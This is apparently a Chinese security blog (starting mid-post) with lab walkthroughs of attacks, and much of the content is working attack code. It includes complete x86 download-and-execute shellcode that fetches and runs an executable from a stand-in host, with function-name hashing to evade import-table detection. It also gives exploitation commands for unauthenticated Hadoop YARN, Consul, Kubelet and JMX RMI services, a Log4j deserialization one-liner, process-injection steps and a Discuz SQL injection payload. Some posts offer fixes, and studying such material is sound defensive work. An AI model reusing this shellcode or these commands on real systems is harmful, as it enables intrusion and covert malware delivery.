        "add    edi,edx \n\t"   // // hash过的值 存在 edi
        "inc    eax \n\t"
        
        "jmp    Hash_Loop \n\t"
        
    "hash_OK: \n\t"
        "cmp    edi, 0x01a22f51 \n\t" // cmp edi , [ebp-4]
        "jnz    Find_Loop \n\t"
        "pop    esi \n\t"
        "mov    edi, dword ptr [esi+0x24] \n\t"
        "add    edi, ebx \n\t"
        "mov    cx,word ptr [edi+ecx*2] \n\t" // Ordinal Table
        "mov    edi, dword ptr [esi+0x1c]\n\t" //  RVA of Address Table
        "add    edi, ebx \n\t"
        "mov    eax, dword ptr [edi+ecx*4] \n\t" // RVA of function address
        "add    eax, ebx \n\t"
        "mov    %0, eax \n\t"
        
        "xor    edx,edx \n\t"
        "push   edx \n\t"   // null termination
        "push   0x6578652e \n\t"
        "push   0x315c3a43 \n\t"
        "mov    esi,esp \n\t"

        "push   10 \n\t"
        "push   esi \n\t"
        "call   eax \n\t"
        
        "add    esp, 0x46 \n\t"
        
    "end: \n\t"

        : "=r" (WinExecAddress)
        : "r" (WinExecAddress)
        :    
    );
    std::cout << "The WinExec Address is:";
    printf("%lx",WinExecAddress);
    std::cout << std::endl;
}

进阶版ShellCode用了加密解密中的Hash算法找Function Name,防止被检测到。

终极版(加密解密版)

#include <stdio.h>
//#include <windows.h>
//#include <string>
//#include <iostream>

int main(int argc, char* argv[])
{
    //std::cout << "Let's start" << std::endl;
    //DWORD WinExecAddress=0;

    // 1. 找到Kernel32的基址
    // 2. 找到Kernel32.LoadLibrary
    // 3. 加载urlmon.dll
    // 4. 找到urlmon的API
    // 5. 调用函数
    __asm__
    (
        ".intel_syntax\n\t"
        
        // hash value
        "push   0x00657865 \n\t"
        "push   0x2e312f6d \n\t"
        "push   0x6f632e6c \n\t"
        "push   0x6c2f2f3a \n\t"
        "push   0x70747468 \n\t"    // http://ll.com/1.exe  // map hosts: C:\Windows\System32\drivers\etc\hosts
        "push   0x00000000 \n\t"    // Address of Download file path
        "push   0x9aafd680 \n\t" // Urlmon.URLDownloadToFileA
        "push   0x6118f28f \n\t" // Kernel32.TerminateProcess
        "push   0xcb9765a0 \n\t" // Kernel32.Sleep
        "push   0x01a22f51 \n\t" // Kernel32.WinExec
        "push   0x837de239 \n\t" // Kernel32.GetTempPathA
        "push   0x6144aa05 \n\t" // Kernel32.VirtualFree
        "push   0x1ede5967 \n\t" // Kernel32.VirtualAlloc

        "mov    ebp, esp \n\t"

        //  1. 找到Kernel32的基址
    "BaseAddress:\n\t"      
        "xor    ecx, ecx\n\t" 
        "mov    ebx, fs:[0x30] \n\t"
        "mov    ebx, [ebx + 0x0C] \n\t"
        "mov    ebx, [ebx + 0x14] \n\t"
        "mov    ebx, [ebx] \n\t"
        "mov    ebx, [ebx] \n\t"
        "mov    ebx, [ebx + 0x10] \n\t" // ebx: Base Address of Kernel32.dll
        "mov    ebp, esp \n\t"
        //"int 3\n\t"
        
        // 2. 找到Kernel32.LoadLibrary
        /*
        // 参数:ebx, .dll Base Address
        // 参数:edi, API的Hash值
        // 参数:ecx, dll中要找的API数量
                
        用ecx 和 loop来控制查找的次数
        Kernel32中需要用到7个API,所以这里ecx赋值7
        */  
        "mov    ebp, esp \n\t" 
        "mov    ecx, 0x07 \n\t"  
        "mov    edi, ebp \n\t"

    "FindApi_loop: \n\t"
        // Find Kernel32API
        "call   FindApi \n\t"
        "loop   FindApi_loop \n\t"
        // LoadLibraryA load urlmon.dll
        // now edi is point to last hashed value
        "push   0x6e6f \n\t"
        "push   0x6d6c7275 \n\t"
        "mov    eax,esp \n\t"
        "push   eax \n\t"
        "call   dword ptr[ebp] \n\t"
        "mov    ebx, eax \n\t" // ebx is image base address of urlmon.dll
        "pop    eax \n\t"
        "pop    eax \n\t"

        "call   FindApi \n\t"

        "nop \n\t"
        "nop \n\t"
        "nop \n\t"

        "jmp    start_use_function \n\t"
        "nop \n\t"

    "FindApi: \n\t"
        "push   ecx \n\t" // ecx等下要被用作遍历function name
        "push   ebp \n\t"

        //"int 3\n\t"
        "mov eax, [ebx + 0x3C] \n\t" // RVA of PE signature
        "add eax, ebx \n\t" // Address of PE signature = base address + RVA of PE signature
        "mov eax, [eax + 0x78] \n\t" //  RVA of Export Table
        "add eax, ebx \n\t" // Address of Export Table

        "push   eax \n\t" // save 

        "xor    ecx, ecx \n\t"  // ecx: record how far from first function name
        "dec    ecx \n\t" 
        "mov    esi, [eax + 0x20] \n\t"   // RVA of Name Pointer Table
        "add    esi, ebx \n\t"            
        
    "Find_Loop: \n\t"
        
        "inc    ecx \n\t"   
        "lods   dword ptr [esi] \n\t"   // traverse function name
        "add    eax,ebx \n\t"   // + base address. to get function name Address
        "xor    ebp, ebp \n\t"  // ebp: hashed value
    "Hash_Loop: \n\t"
        "movsx  edx, byte ptr [eax] \n\t"
        "cmp    dl,dh \n\t" // // 函数名以 00 结束,若取到 00 ,则读完了这个函数名
        "je     hash_OK \n\t" // 这个函数名已经读取到最后一位
        "ror    ebp, 7 \n\t"
        "add    ebp,edx \n\t"   // // hash过的值 存在 ebp
        "inc    eax \n\t"
        
        "jmp    Hash_Loop \n\t"
        
    "hash_OK: \n\t"
        
        "cmp    ebp, dword ptr [edi] \n\t" 
        "jnz    Find_Loop \n\t"
        "pop    esi \n\t"
        "mov    ebp, dword ptr [esi+0x24] \n\t"
        "add    ebp, ebx \n\t"
        //"int 3\n\t"
        "mov    cx,word ptr [ebp+ecx*2] \n\t" // Ordinal Table
        "mov    ebp, dword ptr [esi+0x1c]\n\t" //  RVA of Address Table
        "add    ebp, ebx \n\t"
        "mov    eax, dword ptr [ebp+ecx*4] \n\t" // RVA of function address
        "add    eax, ebx \n\t"
        "stos   dword ptr es:[edi] \n\t" // put eax to edi pointed value,then edi increase 4 bytes . So ebp first 4 bytes saveed first function address
        "pop    ebp \n\t"
        "pop    ecx \n\t"      
        "ret\n\t"
        
    "start_use_function: \n\t"
        /* from now , you can invoke that 8 function through "dword ptr [ebp]"

            dword ptr[ebp+0x0] :   Kernel32.LoadLibraryA
            dword ptr[ebp+0x4] :   Kernel32.VirtualAlloc
            dword ptr[ebp+0x8] :   Kernel32.VirtualFree
            dword ptr[ebp+0xc] :   Kernel32.GetTempPathA
            dword ptr[ebp+0x10] :  Kernel32.WinExec
            dword ptr[ebp+0x14] :  Kernel32.Sleep
            dword ptr[ebp+0x18] :  Kernel32.TerminateProcess
            dword ptr[ebp+0x1c] :  Urlmon.URLDownloadToFileA

         */      
        /*
             Open C:\1.exe
            "push   0x00 \n\t"   // null termination
            "push   0x6578652e \n\t"
            "push   0x315c3a43 \n\t"
            "mov    esi,esp \n\t"

            "push   10 \n\t"
            "push   esi \n\t"
            "call   dword ptr [ebp+0x10] \n\t"
            "pop    eax \n\t"   // 平衡栈
            "pop    eax\n\t"
            "pop    eax\n\t"
            "pop    eax\n\t"
            "pop    eax\n\t"

        */

        /*
            Set Download path
        */
        "push    0x40 \n\t"
        "push    0x1000 \n\t"
        "push    0x100 \n\t"
        "push    0 \n\t"
        "call    dword ptr [ebp+0x4] \n\t"  //  kernel32.VirtualAlloc
        "mov     dword ptr [ebp+0x20], eax \n\t"
        //获取临时文件夹路径
        "push   eax \n\t"
        "push   0x100 \n\t"
        "call   dword ptr [ebp+0x0c] \n\t"  //Kernel32.GetTempPathA
        //设置临时exe文件路径
        //%TEMP%\1.exe
        "mov    ecx, dword ptr[ebp+0x20] \n\t"
        "add    ecx, eax \n\t"
        "mov    dword ptr[ecx], 0x78652e31 \n\t"
        "mov    dword ptr[ecx+0x4], 0x0065 \n\t"
        "mov    dword ptr[ecx+0x8], 0 \n\t"
        /*
            download file
        */
    "try_Download: \n\t"
        "push   0 \n\t"
        "push   0 \n\t"
        "push   dword ptr[ebp+0x20] \n\t"
        "lea    eax, dword ptr[ebp+0x24] \n\t"
        "push   eax \n\t"
        "push   0 \n\t"
        "call   dword ptr[ebp+0x1c] \n\t"   //urlmon.URLDowanloadToFileA
        "test   eax, eax \n\t"
        "jz     Download_OK \n\t"
        "push   30000 \n\t"
        "call   dword ptr[ebp+0x14] \n\t"   //Kernel32.Sleep
        "jmp    try_Download \n\t"
        
    "Download_OK: \n\t"
        "push   0 \n\t"
        "push   dword ptr[ebp+0x20] \n\t"
        "call   dword ptr[ebp+0x10] \n\t"    //Kernel32.WinExec

        "push    0x08000 \n\t"
        "push    0x00 \n\t"
        "push    dword ptr [ebp+0x20] \n\t"
        "call    dword ptr [ebp+0x08] \n\t" //kernel32.VirtualFree

        //"mov    %0, eax \n\t"   // test code

        "push   0 \n\t"
        "push   0x0FFFFFFFF \n\t"
        "call   dword ptr[ebp+0x18] \n\t"

        /*
        : "=r" (WinExecAddress)
        : "r" (WinExecAddress)
        :   
        */ 
    );
    // if 1.exe was success download and excute, this will not run:
    /*
    std::cout << "The WinExec Address is:";
    printf("%lx",WinExecAddress);
    std::cout << std::endl;
    */
}

程序的功能是从http://ll.com/1.exe下载并执行。ll.com可以在etc\hosts里做映射。

只是核心代码的思路和加密解密一样,区别是我把数据直接在汇编代码里push了。
先获取7个Kernel32的函数地址,再获取Urlmon的函数地址,放到栈里,最后通过ebp调用所需要的函数。

编译(MinGW):

g++.exe .\shellcode.cpp -o shellcode -masm=intel  -static-libgcc -static-libstdc++

关于这里的Hash算法可以参考这篇:

用PEstudio查看终极版编译出的程序,可以看到Import table里没有记录相关的函数。

从而更加隐蔽。

这里插一句,前一阵子听到某个同事说了一句话“MD5加密算法”,这里要说明一下MD5,MD4,SHA256都属于Hash算法,Hash算法是用来做快速查询的,由于算法的特性,几乎不可逆,所以不能说是加密算法。
吐槽一下,加密解密真的是不舍得在代码里写备注,看的累死人了。真不适合新手看。

bookmark_border理解PE格式—找出导出表(Export Table)中的函数地址(理论篇)

PE的结构,参考文档https://docs.microsoft.com/en-us/windows/win32/debug/pe-format的目录:

根据这个结构来找kernel32.dll中的函数名和函数名的RVA。

PE signature

文件 0x3c 的地方指定了PE signature的位置(也就是NT_Header,加密解密里说NT_Header,微软的文档里没有这么一说) E8

E8的前四个字节是 PE00,在这之后是 COFF file header

COFF file header

紧接着PE signature的2个Byte(Machine) 判断PE文件时运行在什么平台:

COFF file header + 2 处的2个byte指定了这个PE文件有多少个Section : 06
用010Editor查看也是6个Section

COFF file header + 16 处的两byte指定了OptionalHeader的大小 : F0

COFF file header + 20 处是 OptionalHeader 的开始位置:100h. 大小F0.

也就是100h – 1F0h之间全是 OptionalHeader

OptionalHeader

OptionalHeader 的前两个字节判断了这是个PE文件还是个PE+文件

本次是20b ,是在64位平台的pe+格式。
OptionalHeader 分三部分:

Standard fields , Windows-specific fields 和 Data directories。

Standard fields

100h – 118h 是 Standard fields部分

在PE32中还有额外的字段BaseOfData。

Windows-specific fields

118h – 12Eh 是 Windows-Specific Fields部分

SizeOfHeaders 在100h + 60 = 13Ch的位置 :400h
400 h就是File Header 和 Section Table(Section Header)的总大小
即 400h开始部分就是Section Data部分

Data directories

因此PE signature的位置开始+4(PE signature的长度)+20(Standard fields的长度)+96(Export Table的偏移)= +120 = +78h 的地方就是Export Table相对PE signature的偏移。
Export Table 里指向了Export Table的地址和大小,100h+112=100+70h=170h

Address: 90170h
Size:DD40h=56640
由于这个地址是RVA 相对虚址。在文件上查看还要算出 内存偏移 和 文件偏移的差值△k

Section Table(Section Header)

从100h + 232 + 8 = 1F0 开始是Section Table(Section Header) 的起始位置。
按照之前的计算,一共有6个Section,所以有6个Section Header,每个的格式如下:

每个Secion Header 的大小是40 = 28h。 Secion Header的总大小是: 6*40=240=F0h

第一个Section(.text), 微软用这个名字的Section来存代码。

VirtualAddress:1000h
Pe被加载到内存,这部分Section在相对 image base偏移1000h的位置
VirtualSize:7529Ch
在内存中的地址范围是1000h — 7629Ch
PointerToRawData:400h
PE在磁盘上当文件存放时,这部分Section在相对 image base偏移400h的位置。
内存偏移 和 文件偏移的差值△k1= 1000h – 400h = C00h

第二个Section(.rdata)

VirtualAddress:77000h
VirtualSize:31BC6
在内存中的地址范围是77000h — A8BC6h
这里第二个Section从77000h开始是因为内存对齐了。
PointerToRawData:75800h
△k2=77000h-75800=1800h

因此,之前找到的Export Table的RVA(90170h)就在.rdata的Section Data中。
算出了以上数据,即可以通过以上数据找到Export Table在文件上的偏移位置:
90170h-△k2=90170h-1800h=8E970h
8E970h 开始就是The export data section

Section Data

The export data section 分为5个表:

我只关心第一个表:Export Directory Table。
Export Directory Table表结构:

文件上的数据:

Ordinal Base 指定了序号从多少开始:01h
Address Table Entries 指定了有多少个Function: 65D

Export Address Table RVA : 90198h-1800h=8E998h

Name Pointer RVA 指定了Function Name的地址:91B0Ch-1800h=9030Ch
Ordinal Table RVA 指定了函数的顺序表的地址:93480h-1800h=91C80‬h

查看Ordinal Table :

这是一个数组,一个元素2字节。
表中序号从0开始,加上Ordinal Base的值(1),所以00 00 代表了序数是1。

查看Name Pointer RVA

这是一个数组,一个元素4个字节。
根据地址查看第一个函数名称:
94147h-1800h=92947h

00 代表结束。可见 函数是从A开始排列的

查看Export Address Table RVA

这个地址有可能是个内存地址,有可能是个其他dll的函数名称。

Name Pointer 和Ordinal Table 这两个是平行的数组。
比如两个数组的第五个元素是对应的,通过Name Pointer的第五个元素指向的地址可以知道这个函数的函数名,通过Ordinal Table 的第五个元素指向的数字(假如是20),再去Export Address Table 查第(20 – Ordinal Base)个元素的地址,就可以查到指定函数的名称和地址。
实际在内存中的地址还要加上基址。

绝知此事要躬行,实践篇:

bookmark_borderHash Function Name In Shellcode

学习《加密解密》的时候,第十四章,找到进程块的export table导出表,通过hash过的function name ,和导出表中的function name做hash运算,然后对比两个hash值,最后找到对应的funtion address。
由于加密解密没给如何hash function name,这里通过网上整理相关代码,复现了其生成过程:

#include <stdio.h>  
#include <windows.h>  
// hash function name
DWORD GetHash(char *fun_name)  
{  
    DWORD digest = 0;  
    while(*fun_name)  
    {  

        __asm__(
            ".intel_syntax \n\t"
            "mov ebx,%0 \n\t"
            "ror ebx, 7 \n\t"
            "mov %0,ebx \n\t"
            : "=r" (digest) 
            : "r" (digest)
            : 
        );
        // printf("ror     ebp, 7 is 0x%p\n", digest);
        digest += *fun_name;  
        // printf("digest += *fun_name is 0x%p\n", digest);
        fun_name++;  
    }  
    return digest;  
}  

// print hashed function name 
void print_char_data(DWORD hash){
    char char_hash[8];
    sprintf(char_hash, "%.8x", hash); // convert DWORD to CHAR
    printf("\"\\x%c%c\\x%c%c\\x%c%c\\x%c%c\"\n",char_hash[6],char_hash[7],char_hash[4],char_hash[5],char_hash[2],char_hash[3],char_hash[0],char_hash[1]);
    
}

int main(int argc, char *argv[], char *envp[])  
{  

    // for(int i=0;i<argc;i++)
    // {   
    //     DWORD hash;          
    //     hash = GetHash(argv[i+1]);  
    //     printf("The hash of Function is 0x%.8x\n", hash);          
    // }

    printf("char Datas[] =\n");
    for(int i=0;i<argc;i++)
    {   
        DWORD hash;          
        hash = GetHash(argv[i+1]);  
        // printf("The hash of Function is 0x%.8x\n", hash);          
        print_char_data(hash);
    }


     getchar();  
    return 0;  
}  

编译(MinGW):

PS C:\Users\IEUser\Desktop\shellcode > g++.exe .\hash.cpp -o hash -masm=intel

使用:

PS C:\Users\IEUser\Desktop\shellcode > .\hash.exe LoadLibraryA VirtualAlloc VirtualFree GetTempPathA WinExec Sleep TerminateProcess URLDownloadToFileA
char Datas[] =
"\x32\x74\x91\x0c"
"\x67\x59\xde\x1e"
"\x05\xaa\x44\x61"
"\x39\xe2\x7d\x83"
"\x51\x2f\xa2\x01"
"\xa0\x65\x97\xcb"
"\x8f\xf2\x18\x61"
"\x80\xd6\xaf\x9a"
COMMANDO 12/30/2019 11:12:41 PM
PS C:\Users\IEUser\Desktop\shellcode >

可以看到和 加密解密 的 hash data 完全一致。

bookmark_borderHadoop Yarn 未鉴权执行命令

安装

我用的是 hadoop-3.1.3 下载,解压。配置JDK环境变量 和 其他环境变量。

export JAVA_HOME=/home/hans/JDK/jdk1.8.0_192
export PATH=$JAVA_HOME/bin:$JAVA_HOME/jre/bin:$PATH
export HDFS_NAMENODE_USER="root"
export HDFS_DATANODE_USER="root"
export HDFS_SECONDARYNAMENODE_USER="root"
export YARN_RESOURCEMANAGER_USER="root"
export YARN_NODEMANAGER_USER="root"
export PDSH_RCMD_TYPE=ssh

配置

修改四个文件:
hadoop-3.1.3/etc/hadoop/core-site.xml

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="configuration.xsl"?>
<configuration>
    <property>
        <name>fs.defaultFS</name>
        <value>hdfs://localhost:9000</value>
    </property>
</configuration>

hadoop-3.1.3/etc/hadoop//hdfs-site.xml

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="configuration.xsl"?>
<configuration>
    <property>
        <name>dfs.replication</name>
        <value>1</value>
    </property>
</configuration>

hadoop-3.1.3/etc/hadoop/mapred-site.xml

<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="configuration.xsl"?>
<configuration> 
    <property>
        <name>mapreduce.framework.name</name>
        <value>yarn</value>
    </property>
    <property>
        <name>mapreduce.application.classpath</name>
        <value>$HADOOP_MAPRED_HOME/share/hadoop/mapreduce/*:$HADOOP_MAPRED_HOME/share/hadoop/mapreduce/lib/*</value>
    </property>
</configuration>

hadoop-3.1.3/etc/hadoop/yarn-site.xml

<?xml version="1.0"?>
<configuration>
    <property>
        <name>yarn.nodemanager.aux-services</name>
        <value>mapreduce_shuffle</value>
    </property>
    <property>
        <name>yarn.nodemanager.env-whitelist</name>
        <value>JAVA_HOME,HADOOP_COMMON_HOME,HADOOP_HDFS_HOME,HADOOP_CONF_DIR,CLASSPATH_PREPEND_DISTCACHE,HADOOP_YARN_HOME,HADOOP_MAPRED_HOME</value>
    </property>
</configuration>

启动

bin/hdfs namenode -format
sbin/start-yarn.sh

利用:

创建新的application

curl -v -X POST 'http://192.168.23.134:8088/ws/v1/cluster/apps/new-application'

创建并修改json文件。
1.json:

{  
    "am-container-spec":{  
        "commands":{  
            "command":"echo '111' > /tmp/11112222_test_11112222"

        }  
    },  
    "application-id":"application_1576573490143_0003",  
    "application-name":"test",  
    "application-type":"YARN"  
} 

application-id 修改为 创建新的application 返回的ID。

发送利用命令:

curl -s -i -X POST -H 'Accept: application/json' -H 'Content-Type: application/json' 'http://192.168.23.134:8088/ws/v1/cluster/apps' --data-binary @1.json

http://hadoop.apache.org/docs/current/hadoop-yarn/hadoop-yarn-site/ResourceManagerRest.html#Cluster_Applications_API

https://hadoop.apache.org/docs/r3.1.1/hadoop-project-dist/hadoop-common/HttpAuthentication.html

https://hadoop.apache.org/docs/r3.1.1/hadoop-project-dist/hadoop-common/SingleCluster.html

https://paper.seebug.org/611/

修复方案

  1. 更新Hadoop到最新版本并启用Kerberos认证功能,禁止匿名访问;
  2. 配置iptables或安全组策略实施访问控制,禁止不可信IP进行访问;若无必要,端口不要监听在公网,改为监听本地地址或者内网地址。

bookmark_borderConsul服务未鉴权导致远程代码执行

下载:
https://www.consul.io/downloads.html
官方文档:
https://learn.hashicorp.com/consul/getting-started/services
利用:
https://www.rapid7.com/db/modules/exploit/multi/misc/consul_service_exec
https://www.exploit-db.com/exploits/46074
https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/multi/misc/consul_service_exec.md

常用操作

下载后解压,启动agent:

$ ./consul agent -dev

查看成员:

$ consul members

查看节点:

$ curl localhost:8500/v1/catalog/nodes

停止这个节点:

 $  consul leave

默认的话是无法从外部直接访问的,需要额外配置。

利用

启动一个可以被利用的服务:

./consul agent -dev -client 0.0.0.0 -enable-script-checks

利用(metasploit):

use exploit/multi/misc/consul_service_exec
set RHOSTS 192.168.23.130
run

抓包可知,在未鉴权的情况下,通过向/v1/agent/service/register接口发送精心构造的put请求可执行任意代码。

因此,启动参数中若带 -enable-script-checks ,未鉴权的Consul服务可造成远程代码执行。可以用 -enable-local-script-checks 替换。

bookmark_borderApache Log4j 1.2.X 存在远程代码执行CVE-2019-17571

org.apache.log4j.net.SocketNode类在实现Runnable接口的run方法时,未对输入做过滤,直接读取流中的对象,特定条件下可被利用,存在远程代码执行的风险。

可以看到,直接就ReadObject了,啥过滤也没做,也没校验。
如果结合其他序列化漏洞,比如Jdk7u21,就可以远程代码执行。
用java version “1.7.0_05” 启动Log4j中的example服务:

$ java -cp log4j-1.2.17.jar org.apache.log4j.net.SocketServer  1234 examples/lf5/InitUsingLog4JProperties/log4j.properties ../

结合ysoserial可以利用:

$ java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Jdk7u21 “gnome-calculator” | nc localhost 1234

bookmark_borderKubelet未授权命令执行

本文在Debian10上操作,且Debian10已安装最新Docker.

1.Install kubectl

# https://kubernetes.io/docs/tasks/tools/install-kubectl/#install-kubectl-on-linux 
sudo apt-get update && sudo apt-get install -y apt-transport-https
curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key add -
echo "deb https://apt.kubernetes.io/ kubernetes-xenial main" | sudo tee -a /etc/apt/sources.list.d/kubernetes.list
sudo apt-get update
sudo apt-get install -y kubectl

2. Install minikube

curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube_1.6.1.deb \
 && sudo dpkg -i minikube_1.6.1.deb

3. Install Driver (Optinal)

https://kubernetes.io/docs/setup/learning-environment/minikube/#specifying-the-vm-driver

确认安装:

root@debian10:~# minikube start --vm-driver=none
* minikube v1.6.1 on Debian 10.2
* Selecting 'none' driver from user configuration (alternates: [])
* Tip: Use 'minikube start -p <name>' to create a new cluster, or 'minikube delete' to delete this one.
* Starting existing none VM for "minikube" ...
* Waiting for the host to be provisioned ...
! VM may be unable to resolve external DNS records
* Preparing Kubernetes v1.17.0 on Docker '19.03.0' ...
* Downloading kubeadm v1.17.0
* Downloading kubelet v1.17.0
* Launching Kubernetes ...

* Configuring local host environment ...
*
! The 'none' driver provides limited isolation and may reduce system security and reliability.
! For more information, see:
  - https://minikube.sigs.k8s.io/docs/reference/drivers/none/
*
! kubectl and minikube configuration will be stored in /root
! To use kubectl or minikube commands as your own user, you may need to relocate them. For example, to overwrite your own settings, run:
*
  - sudo mv /root/.kube /root/.minikube $HOME
  - sudo chown -R $USER $HOME/.kube $HOME/.minikube
*
* This can also be done automatically by setting the env var CHANGE_MINIKUBE_NONE_USER=true
* Done! kubectl is now configured to use "minikube"
root@debian10:~#
root@debian10:~# minikube status
host: Running
kubelet: Running
apiserver: Running
kubeconfig: Configured
root@debian10:~# minikube stop
* Stopping "minikube" in none ...
* Stopping "minikube" in none ...
* "minikube" stopped.
root@debian10:~#

配置可访问api,编辑/var/lib/kubelet/config.yaml 文件,把anonymous auth改成true,authorization mode改成AlwaysAllow

重启:

sudo systemctl daemon-reload
sudo systemctl restart kubelet.service

确认可以访问:

curl -k https://localhost:10250/runningpods/

启动(VMware中虚拟机上的Debian10):

# minikube start --vm-driver=none
kubectl create deployment kubernetes-bootcamp --image=gcr.io/google-samples/kubernetes-bootcamp:v1
kubectl get deployments
echo -e "\n\n\n\e[92mStarting Proxy. After starting it will not output a response. Please click the first Terminal Tab\n";
kubectl proxy

打开新终端,确认部署成功:

export POD_NAME=$(kubectl get pods -o go-template --template '{{range .items}}{{.metadata.name}}{{"\n"}}{{end}}')
echo Name of the Pod: $POD_NAME
curl http://localhost:8001/api/v1/namespaces/default/pods/$POD_NAME/proxy/

另一些查看的命令:

kubectl get pod
kubectl describe pods
kubectl get services
kubectl get pods --all-namespaces
kubectl get deployments
minikube service $POD_NAME --url
kubectl delete services $POD_NAME
kubectl delete deployment $POD_NAME
minikube stop
minikube delete

执行命令的格式是:

# /run/%namespace%/%pod_name%/%container_name%

所以执行命令要获得 namespace, pod_name, container_name这三个数据:

curl -k https://192.168.23.134:10250/runningpods/
curl -k https://192.168.23.134:10250/pods/

获取后在容器里执行命令:

curl -k -XPOST "https://192.168.23.134:10250/run/default/kubernetes-bootcamp-69fbc6f4cf-82lk2/kubernetes-bootcamp" -d "cmd=ls -ahl"

至于如何逃逸容器,那就要讨论Docker了。暂不讨论。

参考:

https://carnal0wnage.attackresearch.com/2019/01/kubernetes-unauth-kublet-api-10250.html

https://kubernetes.io/docs/tasks/tools/install-kubectl/#install-kubectl-on-linux

https://kubernetes.io/docs/setup/learning-environment/minikube/#specifying-the-vm-driver

https://gist.github.com/lizrice/c32740fac51db2a5518f06c3dae4944f

bookmark_borderCreate Process Context Injection

思路:

1.CreateProcess 创建进程 ,进程信息放在 PROCESS_INFORMATION pi 中。

2. GetSystemInfo 获取内存中的所有数据,放在 SYSTEM_INFO sysinfo; 中。

3.从 sysinfo.lpMinimumApplicationAddress 开始, 每一次的大小为 sysinfo.dwPageSize 到 sysinfo.lpMaximumApplicationAddress结束,遍历内存。

4.每次都 VirtualQueryEx 一次, 把当前页的内存信息放到 MEMORY_BASIC_INFORMATION mbi = {0}中。

5.当 VirtualQueryEx 出来的类型是 MEM_IMAGE 时,内存中的地址又是指定文件名的映射,就保存并返回这个地址。

6.用 CImage 的 AttachToProcess方法读取刚刚地址的内存头,保存在 PBYTE ImageBase中。

7.用 VirtualQueryEx 出来的内存地址 加 CImage结构体中的m_dwEntryPoint长度,就是程序内存中的入口点。

8.找到打开程序的程序入口点的地址,就可以准备要注入的code了。

typedef struct _INJECT_DATA64 
{
 BYTE ShellCode[0xC0];
 /*Off=0x0C0*/HANDLE ModuleHandle; //Dll句柄
 /*Off=0x0C8*/PUNICODE_STRING pDllPath;//PUNICODE_STRING DllPath
 /*Off=0x0D0*/ULONG DllCharacteristics;
 /*Off=0x0D8*/ULONG_PTR AddrOfLdrLoadDll;//LdrLoadDll地址
 /*Off=0x0E0*/ULONG_PTR ProtectBase; //用于VirtualMemory
 /*Off=0x0E8*/ULONG OldProtect; //用于VirtualMemory
 /*Off=0x0F0*/SIZE_T ProtectSize;s
 /*Off=0x0F8*/ULONG_PTR ExeEntry;//Exe入口点的地址
 /*Off=0x100*/ULONG_PTR AddrOfZwProtectVirtualMemory;
 /*Off=0x108*/BYTE SavedEntryCode[16];//保存exe入口点的前16字节
 /*Off=0x118*/UNICODE_STRING usDllPath;//Dll路径
 /*Off=0x128*/WCHAR wDllPath[256];//Dll路径,也就是usDllPath中的Buffer
}INJECT_DATA64;

9.用 VirtualAllocEx 分配出一块 0x1000 大小的内存,分给 之前打开的进程。

10.ReadProcessMemory 读取目标进程的前8个字节,并存到变量里。

11.用 VirtualProtectEx 修改目标进程的内存属性。

12.找到目标进程中32位 ntdll 的地址。

13.通过计算自己内存里ntdll中ZwProtectVirtualMemory和LdrLoadDll的偏移,来推测目标进程的相关函数的偏移。

14.获取 shellcode的内容,开始到偏移的内容。把内容放到 INJECT_DATA64 结构体的 ShellCode中。

15.填充 INJECT_DATA64 结构体的 其他内容。

16.用 WriteProcessMemory 把 INJECT_DATA64 结构体写道目标进程中,位置是之前用 VirtualAllocEx 分配的内存 。

17.编写Jmp xxxx指令,用 WriteProcessMemory 让程序在开头跳转到 shellcode 执行。

18.ResumeThread 让暂停的线程继续执行。

代码参考 加密解密 随书光盘中的 : chap12\10.CreateProcContextInject\CreateProcContextInject.cpp

bookmark_borderDiscuz! X3.4 后台SQL注入

Discuz!被爆出后台存在SQL注入漏洞,影响 Discuz! X系列全版本。


source\admincp\admincp_setting.php 在处理请求参数时,未完全转义过滤请求参数,导致存在二次注入。
upload\uc_client\model\base.php
初始化方法调用,跟进init_note方法。

跟进 note_exists 方法:

这里的 .UC_DBTABLEPRE. 和 .UC_APPID. 都是从配置文件读取的。
查找UC_APPID

upload\source\admincp\admincp_setting.php
传入参数数组。

被注入过的./config/config_ucenter.php 文件

可以看到只是把单引号用反斜杠转义保存了。
转义一次的字符串被写人文件中,在PHP解析时就是没有转义过的原始内容 造成了二次注入的产生。

测试demo:

<?php
define('UC_APPID', 'sadsadsadasd\'');
printf(UC_APPID);

也就是 UC_APPID 的值被从文件取出来后,php默认会把他的反斜杠去掉了。
也就是UC_APPID的值被还原成 1′ and extractvalue(1,concat(0x7c,(select @@version))) — 1′

攻击者在登录Discuz!管理员后台后,可用此漏洞来进行SQL注入,获取数据库里的敏感信息。

【参考链接】
https://mp.weixin.qq.com/s/0PaVA9tzOxBFQVZ0EBVc9A

bookmark_borderJMX RMI 利用 exploit RCE

前提:JMX RMI 不需认证

以apache solr 8.2.0 For linux为例。

方法1:

启动默认打开RMI端口:

启动msf:

use exploit/multi/misc/java_jmx_server 
set RHOSTS 192.168.23.128
set RPORT 18983
run

理论上对JMX RMI暴露出来的未认证端口通吃。

方法2:

思路:

攻击主要分四步

源代码:

https://gitlab.com/han0x7300/jmx_rmi_exploit

Usage:

java -jar JMXRMIRCE.jar [attacker's ip] [attacker's port that can listern] [JMX RMI service ip] [JMX RMI service port] [command]

Example:

java -jar JMXRMIRCE.jar 192.168.23.154 4141 192.168.23.128 18983 “cat /etc/os-release”

也可以直接用我打包好的jar包。jre 1.8可用。

参考:
 * https://mogwailabs.de/blog/2019/04/attacking-rmi-based-jmx-services/
 * https://www.bbsmax.com/A/Gkz1pPOQdR/

bookmark_border理解PE格式——手工分析pe文件找出Pe中dll和函数的位置

VIrtual Size是加载到内存的大小
Raw Size是文件中偏移的大小

以XP上的notepad.exe为例(加密解密第十一章)

https://73007300.xyz/notepad.exe

本文使用010Editor做辅助分析。

找PE文件里的dll函数和地址:
文件从0h 开始+3ch的值,指向了NtHeader


notepad.exe

NtHeader的+04h处可以判断PE文件时运行在32位平台还是64位平台,长度2h:

其中数值对应的解释:

pe文件里 数值都是从后往前读的,4C 01代表的值就是:014C

NtHeader的+18h的位置是OptionalHeader的位置

32位的PE文件中:
OptionalHeader的IMAGE_DATA_DIRECTORY在NtHeader的+78h偏移处。
数据结构:

notepad.exe:

64位的PE文件中
